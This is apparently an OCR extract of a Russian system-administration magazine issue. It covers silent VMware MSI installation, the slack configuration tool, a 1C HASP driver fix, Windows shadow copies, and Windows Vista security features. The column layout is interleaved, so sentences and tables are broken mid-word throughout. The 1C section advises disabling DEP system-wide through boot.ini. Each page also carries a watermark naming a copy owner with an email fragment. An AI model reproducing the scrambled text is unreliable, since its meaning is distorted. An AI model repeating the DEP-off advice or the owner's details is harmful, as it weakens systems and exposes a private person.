n Локальный. Представляет собой один EXE-файл – са-
В результате на сетевом диске в папке W:\VmWare мораспаковывающийся архив.
Workstation 6.5 создан дистрибутив в традиционном виде. n Сетевой. Дистрибутив формируется в ходе админист-
Теперь при необходимости можно приступить к изменению ративной установки программы из локального. Состо-
MSI-файла с помощью программы ORCA.EXE или к сете- ит из множества папок и файлов. Для инициализации
вой установке приложения. процесса установки осуществляется запуск MSI-файла
VMware Workstation.msi.
Установка с помощью параметров
командной строки Для установки VMware в автоматическом режиме
Параметры командной строки используются для автома- по умолчанию используется локальный дистрибутив. Се-
тизации процесса установки приложения. Степень авто- тевой дистрибутив используется для переноса большинст-
ва параметров из командной строки
Таблица 1. Параметры командной строки msiexec.exe в MSI-базу данных и изменения спис-
Параметр Описание ка устанавливаемых компонентов по
/i Установка приложения в обычном режиме умолчанию.
/f [p|o|e|d|c|a|u|m|s|v] Переустановка приложения. Если задан только ключ /f, то имеется в виду команда /fpecsm Локальная версия дистрибутива
p – восстановление удаленных файлов; представляет собой самораспаковы-
о – обновление до более новой версии;
e – полная переустановка приложения той же версии; вающийся архив, имя которого стро-
d – восстановление удаленных файлов и перезапись файлов более старой версии; ится по шаблону:
c – восстановление удаленных файлов или перезапись файлов, если CRC (контрольная
сумма) установленных файлов не совпадает с CRC файлов в дистрибутиве;
а – переустановка всех файлов; VMware-workstation-<xxxxxx>.exe
u – перезапись всех ключей реестра, касающихся данного приложения в ветвях HCKU, HCU;
m – перезапись всех ключей реестра, касающихся данного приложения в ветви HCLM;
s – перезапись всех ярлыков где <xxxxxxx> – версия и номер сборки
/a Выполнение административной установки приложения продукта, например 6.5.0-118166.
/x Деинсталляция продукта При запуске этого файла осущест-
/j[u|m[/g]] Управление публикацией программного продукта: вляются автоматическое распаковыва-
u – публикация для текущего пользователя; ние во временную папку в профиле те-
m – публикация для всех пользователей;
g – идентификатор языка (управление установкой языкового интерфейса) кущего пользователя (%Temp%) и вы-
/q[n|b|r|f] Определение уровня пользовательского интерфейса во время установки:
полнение MSI-файла.
n – отсутствие интерфейса; Для распаковки архива сущест-
b – базовый интерфейс (по умолчанию);
r – сокращенный интерфейс;
вует свой набор параметров команд-
f – полный пользовательский интерфейс ной строки, для MSI-файла – свой. Рас-
30
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
смотрим их подробнее. Архив VMware- Таблица 2. Параметры таблицы Property MSI-файла, задействованные в работе мастера
workstation-<xxxxxx>.exe поддержива- Параметр Значения Описание
ет следующие ключи: COMPANYNAME My Company Название компании. Осуществляется
n /а – выполняет административную подстановка из операционной системы
установку; DESKTOP_SHORTCUT 0 |1 Создать ярлык на рабочем столе
n /s – подавить вывод диалоговых INSTALLDIR %ProgramFiles%\VMWare\ Путь установки приложения
окон; VMWare Workstation
n /v – параметры установки MSI-фай- QUICKLAUNCH_SHORTCUT 0 |1 Создать ярлык на панели быстрого запуска
ла;
SERIALNUMBER XXXXX-XXXXX-XXXXX-XXXXX Серийный номер. Выдается производителем
n /c – стереть информацию о регис- продукта
трации; SetupType Typical | Custom Тип установки приложения
n /l – создать файл отчета об уста- STARTMENU_SHORTCUT 0 |1 Создать ярлык в «Пуск → Программы»
новке.
USERNAME Pupkin Имя пользователя. Подставляется имя
пользователя, на которого зарегистрирован
Из всех перечисленных ключей ав- Windows
томатизация процесса установки обес-
печивается ключом /v, с помощью которого осуществляется министратором в зависимости от задач, которые необхо-
управление MSI-файлом [2]. Ключ /v эмулирует команду: димо решать с помощью WMware Workstation.
Заключение
Подводя итог, отмечу, что для автоматизации процесса се-
тевой установки (MSI-файл, извлеченный из архива с по-
мощью административной установки) необходимо выпол- Рисунок 5. Ввод регистрационной информации
нить команду:
VMware-workstation-<xxxxxx>.exe /v ↵
"/fa /qn /jm SERIALNUMBER=XXXXX-XXXXX-XXXXX-XXXXX"
Выбор способа установки определяется системным ад- Рисунок 6. Административная установка VMware
Алексей Коробкин
Творческая работа по настройке сервера превращается в рутину, если этих серверов сотня.
С помощью slack этот процесс можно автоматизировать быстро и без лишних затрат.
Н
есколько дней назад я настра- Настройку программного обеспе- ются при помощи rsync. Какой именно
ивал один из вспомогательных чения slack производит в три шага: транспорт будет использовать rsync,
серверов, на котором долж- n Шаг 1. Скрипт preinstall выполняет также зависит только от ваших пред-
на работать реплика LDAP, вспомога- всю подготовительную работу. На- почтений.
тельный контроллер Kerberos и запас- пример, устанавливает необходи-
ной IRC-сервер. После того как завер- мые пакеты из дистрибутива Linux, Почему именно slack?
шилась установка Linux, я запустил та- создает локальную учётную за- Скептически настроенный читатель
кую команду: пись, корректирует настройки дру- спросит, зачем изобретать велосипед,
гих сервисов. если почти так же работает любой ме-
# slack ldapslave kdcslave ircserver n Шаг 2. Slack берет из своего репо- неджер пакетов – достаточно создать
зитория и раскладывает по нуж- свой пакет и устанавливать на серве-
Когда эта команда закончила рабо- ным местам заранее подготовлен- ры именно его.
ту, настройка сервера была полностью ные администратором файлы. Ска- Ответ: потому что создание соб-
завершена. Другими словами, всю ра- жем, заполненный файл конфигу- ственного пакета – слишком трудоём-
боту за меня сделал slack [1] – простой, рации веб-сервера помещается кий процесс. В большинстве случаев
но мощный инструмент управления на- в /etc/apache2, а логотип фирмы – удобнее установить стандартный па-
стройками. Slack экономит бесценное в /var/www/images. кет и чуть-чуть модифицировать его
время системного администратора, n Шаг 3. Скрипт postinstall выполня- под свои нужды, нежели тратить вре-
позволяя автоматизировать установку ет завершающую настройку. На- мя на написание манифеста пакета,
и настройку сервисов и сосредоточить- пример, накладывает патчи на ус- создание правил установки, цифровую
ся на более творческой работе. тановленные файлы, определяет подпись и прочую «бюрократию».
IP-адрес сервера и вписывает его Кроме того, просмотр и изменение
Принцип действия в конфигурационный файл, откры- вручную созданного пакета затрудни-
В большинстве случаев настройка вает нужные порты на брандмауэ- тельны. Если ваш коллега захочет ис-
сервиса под Linux состоит из установ- ре или настраивает crontab. править одну строчку настроек или
ки всех необходимых пакетов, ручной просто разобраться в том, что же имен-
корректировки установленных фай- Как видите, алгоритм работы slack но делает ваш пакет – ему придётся
лов и написания файлов конфигура- очень прост. Скрипты могут быть на- потратить куда больше времени, чем
ции. Если вам приходится настраивать писаны на любом языке и представ- на чтение двух скриптов и просмотр
один и тот же сервис хотя бы дважды, лять собой любой исполняемый файл, каталога с файлами.
эту работу стоит автоматизировать. от bash-сценария до бинарного фай- Безусловно, slack не может конку-
И slack, наверное, самое простое сред- ла C++, slack в этом никак вас не ог- рировать с профессиональными паке-
ство автоматизации. раничивает. Файлы с сервера копиру- тами наподобие IBM Tivoli Automation,
32
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
но его простоту наверняка оценят администраторы ферм slack-master, файлы находятся в /var/slack. Внутри /var/slack
веб-серверов и Linux-кластеров, которым нужна максималь- есть каталог roles, в нём каталог роли ircbot. Иными слова-
но простая и надёжная автоматизация. ми, на сервере у нас все файлы роли ircbot хранятся в пап-
Название slack происходит от «Sysadmins' Lazy Auto- ке /var/slack/roles/ircbot (см. рис. 1).
Configuration Kit» и не имеет отношения к дистрибутиву Структура этого каталога такова:
Linux Slackware. n подкаталог scripts со скриптами preinstall и postinstall;
n подкаталог files с файлами, которые будут скопирова-
Установка ны на целевую машину.
Выберите сервер, который будет хранить файлы конфигу-
раций – в терминологии slack он называется slack-мастер. Внутри каталога files в будущем домашнем каталоге
Удобно завести для него псевдоним slack-master в DNS. пользователя ircbot сделаем подкаталог .irssi, а в нём соз-
На slack-мастер установите rsync. Выделите отдельный дадим файл config.
каталог, например /var/slack, в котором будут храниться
настройки каждого сервиса. Эти настройки slack называ- # cd /var/slack/roles/ircbot/files
# mkdir -p home/ircbot/.irssi
ет ролями. К примеру, в начале статьи я установил на сер- # touch home/ircbot/.irssi/config
вер три роли: ldapslave, kdcslave и ircserver. Подумайте, ка-
ким образом вы хотели бы получать файлы из этого ката- В этот файл поместим обычные настройки IRC-клиен-
лога: по ssh, rsh или непосредственно по протоколу rsync. та irssi. Содержимое файла не имеет значения, это прос-
Если вы предпочитаете последний вариант, настройте мо- то пример:
дуль slack в /etc/rsyncd.conf.
# cd /var/slack/roles/ircbot/files
# cat home/ircbot/.irssi/config
[slack]
path = /var/slack settings = {
comment = my slack repo core = {
real_name = "IRC Bot";
На клиентах нужно установить slack. Почти во всех дист- user_name = "ircbot";
nick = "+ircbot+";
рибутивах есть соответствующий пакет, но и собрать из ис- };
ходных кодов его совсем несложно. Архив с исходными ко- };
дами можно скачать на страничке проекта [1].
В файле конфигурации /etc/slack.conf достаточно отре- Вообще в каталоге files файлы располагаются так,
дактировать только переменную SOURCE, которая указы- как бы они располагались на целевой файловой системе,
вает, где находится репозиторий slack. Она заполняется со- начиная с корневого каталога / и с учётом всех подкатало-
гласно стандартному синтаксису rsync [2]. гов. Например, у роли веб-сервера содержимое каталога
Например, если вы настроили модуль slack в rsyncd. files может быть таким:
conf, как описано выше, то правильная строка может вы- n etc/apache2/apache2.conf;
глядеть так: n etc/apache2/conf.d/security;
n etc/init.d/apache2;
SOURCE=slack-master::slack n etc/cron.daily/apache2;
n usr/share/doc/apache2/README.patched.
или так:
Шаг 2. Создаем скрипт preinstall, запускаемый перед
SOURCE=slack-master:/var/slack копированием файлов. Поскольку мы будем устанавли-
вать новые пакеты и создавать учётные записи, скрипт бу-
Остальные переменные можно оставить со значения- дет выполняться с правами root.
ми по умолчанию.
#!/bin/sh
Slack-роль # Обновить список пакетов
В качестве примера сдела- apt-get update
ем slack-роль, которая бу- # Установить irssi
дет устанавливать IRC-кли- apt-get install irssi
ент irssi, добавлять пользо- # Создать свою группу для учётной записи ircbot
вателя ircbot и копировать groupadd ircbot
стандартный файл кон- # Создать учётную запись ircbot, домашний каталог
фигурации клиента irssi # для неё, добавить в группу ircbot
useradd -g ircbot -c "IRC Bot" -m -d /home/ircbot ircbot
в домашний каталог этого
пользователя. Роль безыс- Этот скрипт slack выполнит перед началом копирова-
кусно назовём ircbot. ния файлов.
Шаг 1. Строим иерар- Шаг 3. Создаем скрипт postinstall, который будет запу-
хию файлов на сервере. щен после копирования файлов. Этот скрипт выполняет фи-
Рисунок 1. Иерархия файлов
на slack-мастере Наш сервер называется нальные шаги установки и настройки роли ircbot.
Применение
Как именно использовать slack, каждый администратор
решает сам. Если в вашей сети много рабочих станций
с ОС Linux, или вам приходится настраивать однотипные
сервисы на серверах или даже просто постоянно восста- Рисунок 2. Алгоритм работы slack
34
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование «1С»
Андрей Луконькин
Не всегда поставляемый фирмой-разработчиком софт работает безупречно, причин может
быть множество, и одной из самых распространенных является неактуальность драйверов
и библиотек.
Е
сли при установке драйвера защиты или при его функцию DEP в файле boot.ini. Наиболее простой способ
удалении возникает ошибка примерно следующе- выполнить это:
го вида: n нажать правую кнопку мыши на иконке «Мой компью-
тер» и выбрать команду «Свойства»;
Running processes are accessing the drivers. n перейти на закладку «Дополнительно»;
Please stop the processes or use the -kp option.
Error code: 20, 4 958 0 0x140000 0x0 0x140000 n нажать кнопку «Параметры» в группе «Загрузка и вос-
становление»;
то самым вероятным решением проблемы является актуа- n нажать кнопку «Правка» в группе «Загрузка операци-
лизация версии драйвера. онной системы»;
n в открывшемся на редактирование файле boot.ini най-
Как это сделать? ти все вхождения параметра /NoExecute (возмож-
В первую очередь узнайте текущую версию установленно- ны варианты: /NoExecute=OptIn, /NoExecute=OptOut,
го в системе драйвера HASP, выполнив команду: /NoExecute=AlwaysOn и /NoExecute=AlwaysOff) и заме-
нить значение параметра на AlwaysOff.
hinstall.exe -info
Таким образом, содержимое файла boot.ini
в подкаталоге C:\Program Files\1cv81\bin, сравните с послед-
ней версией на сайте производителя (см. рисунок). [boot loader]
timeout=30
На сайте компании Aladdin (www.Aladdin.com) в разделе default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
HASP Device Driver Downloads скачайте файл hinstall.zip, рас- [operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=
пакуйте его в какой-либо каталог и выполните команду: "Microsoft Windows XP Home Edition RU" /fastdetect
/usepmtimer /NoExecute=OptIn
hinstall.exe -i
изменится на:
для установки драйвера.
Если и после установки обновленного драйвера про- [boot loader]
timeout=30
грамма по-прежнему не запускается, нужно отключить default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=
"Microsoft Windows XP Home Edition RU" /fastdetect
/usepmtimer /NoExecute=AlwaysOff
Теневое копирование
в Windows Server 2003
Александр Емельянов
С
истемному администратору ла службу, услугами которой не име- койны за сохранность пользователь-
в процессе работы приходит- ет права не воспользоваться любой ских данных.
ся часто сталкиваться с про- администратор Windows-систем. Речь Реальность такова, что данные ис-
блемами, возникающими вследствие идет о службе теневого копирования чезают из-за неграмотных или невни-
различных действий пользователей. тома или VSS (Volume Shadow Service). мательных действий работников. Пред-
Канувшие в Лету сами собой файлы, Слово «тень» (shadow) напрямую оп- ставим, что существовал некий файл,
особенно представляющие для поль- ределяет характер ее работы. Все в него внесли изменения и сохранили.
зователя высокую важность, вызыва- происходит прозрачно как для адми- Затем выяснилось, что информация,
ют у последнего в лучшем случае не- нистратора, так и для пользователей которая содержалась в файле до его
рвное раздражение, в худшем – «при- рабочих станций. Достаточно один изменения, очень нужна. Или дру-
ступы суицида». Видимо, для сохра- раз провести ряд незамысловатых гая ситуация. Пользователь жалуется
нения их здоровья Microsoft придума- манипуляций, и мы можем быть спо- на пропавшую с сетевого диска папку.
36
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
На просьбу пояснить, какие действия архивные копии хранятся, как прави-
с его стороны этому предшествовали, ло, на специально отведенном ресур-
получаем невнятное: «Вчера я в райо- се в локальной сети, и рядовые пользо-
не 16.00 заходил в нее, а сегодня с ут- ватели не имеют к ним доступа. Поэто-
ра смотрю – ее уже нет». Конечно, мож- му использование инструмента под на-
но попробовать использовать поиск, званием «программа для резервного
но он поможет только в случае, если копирования» для решения поставлен-
папка была перемещена, а не удале- ной задачи вызывает сомнения.
на. Можно походить по офису с опро- Рассмотрим другой случай. Небе-
сом «не трогал ли кто папку Ивана Ива- зызвестная программа Acronis True
новича?». Но вряд ли это даст резуль- Image (ATI) вполне справляется с проб-
тат. Решить проблему в обоих случа- лемой блокировки файлов, а также
ях поможет служба теневого копиро- умеет делать инкрементальные копии
вания. Как? Об этом далее. диска. То есть, после создания полной
копии тома каждая последующая со-
Друзья-однополчане держит лишь изменения, произошед-
Зачастую извлечение максимума воз- шие с момента создания предыдущей.
Рисунок 1. Меню управления теневым
можностей того или иного продукта за- Казалось бы, то, что нужно. Но вряд ли копированием разделов
висит от правильного понимания зада- на всех машинах в сети установлен ATI,
чи. Применительно к данному случаю просто потому, что каждая копия стоит ментальные снимки с некоторой перио-
стоит отметить, что VSS не является денег. Итак, снова возвращаемся к на- дичностью, сохраняя только данные со
программой для резервного копиро- шим баранам – конечные пользовате- времени создания последнего снимка.
вания в привычном понимании функ- ли без участия администратора не смо- Время создания таких копий определя-
ционала работы таких программ. VSS гут добраться до нужных данных. ется настройками стандартного пла-
по принципу резервирования данных Служба теневого копирования то- нировщика Windows. Рекомендуемый
схожа с продуктами типа Acronis True ма позволяет делать моментальные интервал составляет не менее одного
Image или Norton Ghost, которые рабо- снимки разделов, избегая проблемы часа. Однако это не означает, что мож-
тают с целыми томами. И ничего об- блокировки файлов. Эта особенность но создавать бесчисленное множество
щего в этом плане не имеет эта служ- полезна также при работе с базами теневых копий тома. Есть ряд ограни-
ба с утилитами, создающими резер- данных (например, MS SQL Server, чений. Во-первых, существует возмож-
вные копии отдельных файлов и па- «1С:Предприятие»). Кроме того, даже ность создания максимум до 64 сним-
пок. Далее будут приведены преиму- малограмотный пользователь за пару ков тома. Во‑вторых, под них отводится
щества, которые администратор полу- движений мышкой сам сможет восста- определенный объем дискового про-
чит от использования VSS. Однако это новить утерянные файлы (папки) непо- странства (не менее 100 Мб). При за-
вовсе не означает, что стоит отказать- средственно со своего рабочего мес- полнении этого объема самые старые
ся от стандартной процедуры резерв- та, не имея при этом возможности уда- снимки заменяются новыми. Поэтому
ного копирования (например, на вне- лить резервные данные. при планировании теневого копирова-
шние носители). Помимо этих преимуществ, стоит ния нужно учитывать размеры целево-
Возьмем, к примеру, любую про- отметить, что VSS поставляется вместе го раздела и количество копий, кото-
грамму, которая умеет создавать раз- с Windows Server 2003 (и выше), а это рое вы хотите иметь. Теневое копиро-
личные типы резервных архивов (пол- дает возможность администраторам вание можно производить только на то-
ный, инкрементальный, разностный) (некоторые из которых и не задумыва- мах с файловой системой NTFS. Такой
и сжимать их, экономя тем самым дра- ются о существовании такого механиз- том называется носителем кэша те-
гоценные мегабайты дискового про- ма) не прибегать к помощи сторонних невых копий, который хранится в пап-
странства. Вполне можно было бы программ. К тому же многие из вендо- ке System Volume Information, не види-
обойтись его услугами для решения ров встраивают в программные ком- мой обычными пользователями. В ка-
задачи, описанной в начале статьи плексы возможность использования честве такого носителя можно выбрать
(про сохранение здоровья пользова- VSS. Для примера можно взять тот же как раздел-источник, так и любой дру-
телей). Для этого достаточно настро- Acronis True Image, который, начиная гой NTFS-раздел.
ить создание инкрементального или с девятой версии, научился делать ре-
разностного архивирования целевых зервные копии отдельных файлов и па- Что еще необходимо знать
файлов и при необходимости восста- пок, имея возможность использовать Далее будет приведен ряд особеннос-
новить утерянную информацию из про- для этого и теневое копирование. тей и рекомендаций, связанных с про-
межуточной копии. Главная проблема, цессом планирования теневого копи-
возникающая в данном случае, состоит Принципы работы службы рования.
в том, что многие программы блокиру- теневого копирования Кэш теневых копий невозможно
ют открытые или созданные ими фай- Как уже говорилось ранее, при иници- перенести с одного тома на другой
лы, вследствие этого они в резервную ализации администратором теневого без потери уже созданных снимков.
копию не попадут. Помимо этого, все копирования тома VSS делает его мо- Поскольку речь идет о разделах NTFS,
38
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Windows XP его можно взять непосред- Многие наверняка согласятся, что дет сделано при использовании конк-
ственно с сервера (%windir%\System32\ не каждый пользователь сможет най- ретного параметра.
Clients\Twclient\X86) и распространить ти требуемую папку по UNC-пути. К то-
на рабочие станции при помощи груп- му же в случае использования файло- Заключение
повых политик, если действие проис- вых хранилищ на серверах многие ад- Теневое копирование тома как про-
ходит в домене Active Directory. министраторы монтируют общие папки дукт получилось настолько удачным,
Для проведения дальнейших опе- на рабочих станциях как сетевые дис- что оно стандартом де-факто включа-
раций необходимо, чтобы папка, со- ки. В этом случае все значительно уп- ется разработчиками Microsoft в со-
держащая целевой файл или папку, рощается. Пользователю достаточно став новых ОС. Помимо этого неко-
была открыта на общий доступ. Далее лишь открыть свойства сетевого дис- торые серверные функции строят-
нужно, используя UNC-путь (например, ка и далее выполнить то, что было опи- ся на базе его возможностей. Напри-
\\server\sharedfolder\), в проводнике от- сано абзацем выше. мер, система резервного копирова-
крыть ее уровнем выше (для нашего ния Windows Server Backup, пришед-
случая \\server\) и перейти в свойства. Работа из командной шая с выходом Windows Server 2008
После этого мы открываем вкладку строки на смену привычному NTBackup, вов-
«Предыдущие версии» и видим неко- Поскольку технология VSS ориенти- сю использует VSS и копирование
торое количество снимков папки, дан- рована на использование админи- на уровне блоков для процесса ре-
ные из которой нам необходимо вос- страторами сети, было бы упущени- зервирования данных.
становить. Можно просмотреть содер- ем не включить в обзор возможность
жимое теневых копий этой папки и пу- управления ею из командной стро- 1. http://support.microsoft.com/kb/312067 –
тем простого перетаскивания скопиро- ки. Позволяет это делать инструмент Shadow copies may be lost when you
вать из нее нужные файлы. Есть воз- vssadmin. Он имеет не так много па- defragment a volume.
можность также сразу скопировать все раметров, и все они предельно понят- 2. http://support.microsoft.com/kb/140365 –
ее содержимое, указав приемник, ли- ны. Тем более что при запуске утилиты Размер кластера по умолчанию для
бо восстановить состояние папки не- с ключом /? можно получить их список, файловых систем FAT и NTFS.
посредственно на сервере. а также краткое описание того, что бу-
Реклама
Средства обеспечения
безопасности в Windows Vista
Часть 1
Андрей Бирюков
40
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Б
езопасность в каждой новой вер- Как известно, исполняемый ма- добную технологию), тем самым пре-
сии операционной системы се- шинный код и данные, которые ис- дотвратив несанкционированное про-
мейства Windows всегда была пользуются в приложениях, размеща- никновение в систему.
и остается темой для жарких споров. ются в оперативной памяти. Таким об- Э та технология используется
На многих тематических интернет-фо- разом была возможна ситуация, ког- для защиты компонентов ОС, вклю-
румах специалисты и обычные пользо- да блок данных большей, чем предпо- чая встроенные системные службы,
ватели спорят о том, насколько защи- лагалось длины, мог затереть часть хотя может использоваться и сторон-
щена или наоборот уязвима Windows машинного кода. Это могло привести ними производителями ПО через спе-
Vista. В этих спорах зачастую приво- как минимум к сбою в работе приложе- циальные API-вызовы.
дятся в качестве примеров технологии, ния, а если заменяющие данные были Особое внимание следует уделить
используемые в новой операционной правильно составлены (то есть содер- 64-битным версиям Windows Vista.
системе. В этой статье мы попробуем жали определенный код), то и к выпол- Для данной архитектуры наличие уже
разобраться в новых средствах обес- нению произвольного кода и получе- упоминавшейся защиты NX – стан-
печения безопасности, представлен- нию несанкционированного доступа дарт. Также операционная система
ных в Windows Vista. к целевой системе. Такой тип атак по- под 64‑битную архитектуру поддержи-
Прежде всего, приведу немного лучил название переполнение буфера вает технологию защиты ядра (иногда
официальной информации, которая (Buffer Overflow). используется термин PatchGuard), ко-
была представлена Microsoft перед вы- Так вот, для борьбы с переполне- торая запрещает неавторизованному
ходом Windows Vista. ниями буфера на аппаратном уров- ПО изменять ядро Windows.
Итак, по заявлению разработчика, не в Windows Vista была использова- Для понимания сути данной техно-
Windows Vista – это первая клиентская на технология NX (No Execute). NX поз- логии необходимо разобраться в том,
операционная система, в которой кон- воляет программному обеспечению, что означает термин kernel patching (из-
троль за безопасностью осуществля- используя возможности оборудова- менение ядра).
ется на всех этапах разработки (техно- ния, помечать сегменты памяти, в ко- Эта техника использует внутренние
логия Microsoft’s Security Development торых будут храниться только дан- системные вызовы, а также различ-
Lifecycle – SDL). ные, так чтобы процессор не смог ис- ные неподдерживаемые ОС механиз-
Это означает, что безопасности полнять произвольный код в этих сег- мы с целью изменения или замены ко-
в новой ОС уделено большое внима- ментах. да, а возможно, и критических струк-
ние. Согласно технологии SDL к разра- Множество современных процес- тур данных ядра Windows на другой
ботчикам ПО с самого начала пристав- соров поддерживают ту или иную фор- «неавторизованный» код или данные,
ляется консультант по безопасности, му NX, и Microsoft в свою очередь, на- которые могут быть и вредоносными.
который контролирует все этапы раз- чиная с Windows XP SP2, включила Под понятием «неавторизованный»
работки на предмет отсутствия уязви- поддержку процессоров с NX-техно- имеется в виду код, не авторизован-
мостей в программном коде. логией посредством инструмента Data ный Microsoft как часть ядра Windows,
Кроме того, Microsoft сертифициро- Execution Prevention (DEP). Windows например различные закладки, поз-
вала Windows Vista по стандарту ISO Vista обеспечивает дополнительную воляющие произвести несанкциони-
«Общие Критерии» с целью получе- поддержку NX, позволяя производите- рованный доступ к системе.
ния сертификатов EAL4 и Single Level лям ПО встраивать защиту NX в свои Осуществить неавторизованный
OS Protection Profile. программные продукты. доступ можно, изменяя адрес функ-
Какими сертификатами на данный Подробнее о технологии DEP и NX, ции-обработчика системного вызова
момент обладает Windows Vista и дру- а также об их достоинствах и недостат- (указатель функции) в таблице сис-
гие продукты Microsoft, можно узнать ках можно прочесть в [3]. темных вызовов (system service table,
на сайте Common Criteria [4]. Еще одно улучшение в защите SST), которая представляет собой
Windows Vista связано с определени- массив из указателей функций, на-
Аппаратная защита ем переполнения «кучи» (области па- ходящихся в памяти. Такая процеду-
Защита операционной системы проис- мяти, выделяемой программе для ди- ра изменения адреса называется ху-
ходит на нескольких уровнях. Это ап- намически размещаемых структур ком (hook).
паратная, программная и защита дан- данных). Такой вид атак аналогичен Когда выполняется любой систем-
ных. Начну с описания аппаратной за- атакам на переполнение буфера и по- ный вызов (например, NtCreateProcess),
щиты. этому требует наличия средств предо- диспетчер системных вызовов в соот-
Аппаратную защиту можно счи- твращения переполнения «кучи». ветствии с номером вызова передает
тать нововведением, ведь до выхода При вмешательстве в буфер «ку- адрес функции-обработчика данного
Windows Vista другие операционные чи» операционная система генериру- системного вызова. Соответственно,
системы из этого семейства не об- ет исключение. В случае если в при- если поменять адрес функции-обра-
ладали средствами взаимодействия ложении разработчиками не предус- ботчика на адрес начала «неавтори-
с механизмами аппаратной защиты. мотрена обработка данного исключе- зованного» кода, диспетчер систем-
Но сначала немного поговорим ния, ОС немедленно завершает скомп- ных вызовов перейдет по этому ад-
о том, от чего мы собственно защи- рометировавший себя код (многие ан- ресу, и «неавторизованный» код бу-
щаемся. тивирусные системы используют по- дет исполнен.
42
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Контроль установки жи или изменения конфиденциальной закрыт. Такая политика использует-
драйверов информации. ся по умолчанию и будет применяться,
Еще одно дополнительное средство Конечно, работа из-под учетных даже если пользователь не вносил ни-
защиты для 64-битной архитектуры – записей простых пользователей тоже каких изменений в настройки доступа
это возможность использования толь- не является панацеей, так как вредо- к своим файлам.
ко подписанных драйверов. Конечно, носный код может и там нанести ущерб, Если обычный пользователь, не об-
и в предыдущих версиях можно бы- но сделать это, не обладая админис- ладающий административными права-
ло запретить использование непод- тративными привилегиями, гораздо ми, попытается выполнить задачу, тре-
писанных драйверов устройств с по- сложнее. Да и сам пользователь мог бующую административных привиле-
мощью групповых политик, но обыч- внести в систему изменения, приводя- гий (например, установка нового при-
но администраторы позволяли их ус- щие к сбоям и системным ошибкам. ложения или изменение важных сис-
танавливать, так как слишком боль- Конечно, когда рабочая станция на- темных настроек), ему предлагается
шое количество оборудования не под- ходится в домене Active Directory, кон- ввести пароль администратора. IT-ад-
писывало свои драйверы. По заявле- тролировать учетные записи и гиб- министраторы имеют возможность от-
ниям Мicrosoft, именно неподписанные ко назначать пользователям права ключить процедуру ввода пароля ад-
драйверы являются причиной боль- можно с помощью групповых политик, министратора для обычных пользо-
шинства сбоев ОС Windows. Хотя, я ду- но очень часто возникают ситуации, вателей, тем самым запретить работу
маю, многие администраторы и поль- когда пользователю необходимы пра- с административными привилегиями
зователи не согласятся с данным ут- ва локального администратора, напри- для данной учетной записи. Это позво-
верждением. мер на ноутбуке, когда он отправляется лит сократить риск несанкционирован-
в командировку (ведь без администра- ных действий со стороны последних.
User Account Control тивных прав нельзя, к примеру, пропи- Если же пользователь с админист-
Какие еще средства появились в сис- сать IP-адрес или изменить настройки ративными правами работает в систе-
теме безопасности Windows Vista? подключения к беспроводной сети). ме, то при попытке произвести какое-
Довольно интересное новшество – В Windows Vista для решения про- либо действие, являющееся критич-
появление контроля пользователь- блемы ввели контроль пользователь- ным с точки зрения UAC, на экран бу-
ских учетных записей (User Account ских учетных записей. В соответс- дет выведен запрос на подтверждение
Control). твии с данным подходом все операции данного действия (см. рис. 1). А неожи-
В предыдущих версиях Windows в системе разделены на две категории: данное появление предупреждения
большинство пользовательских учет- те, которые может выполнять пользо- в процессе работы может свидетельс-
ных записей являлись членами ло- ватель со своими стандартными пра- твовать о попытке проникновения вре-
кальной группы «Администраторы», вами, и те, которые требуют админис- доносного кода в систему. При необ-
тем самым предоставляя пользова- тративных привилегий. Благодаря это- ходимости данные напоминания мож-
телям все системные привилегии му производить какие-либо несанкци- но отключить с помощью политик бе-
и возможности, требуемые для уста- онированные действия вредоносному зопасности.
новки и конфигурирования приложе- коду будет гораздо сложнее (напри- Такое предупреждение не позво-
ний, загрузки некоторых фоновых сис- мер, троян не сможет прописать себя лит вредоносному коду незаметно вне-
темных процессов и драйверов уст- в реестр, а вирус – повредить систем- сти изменения в системе. Также UAC
ройств, изменения конфигурации сис- ные файлы). помогает существующим приложени-
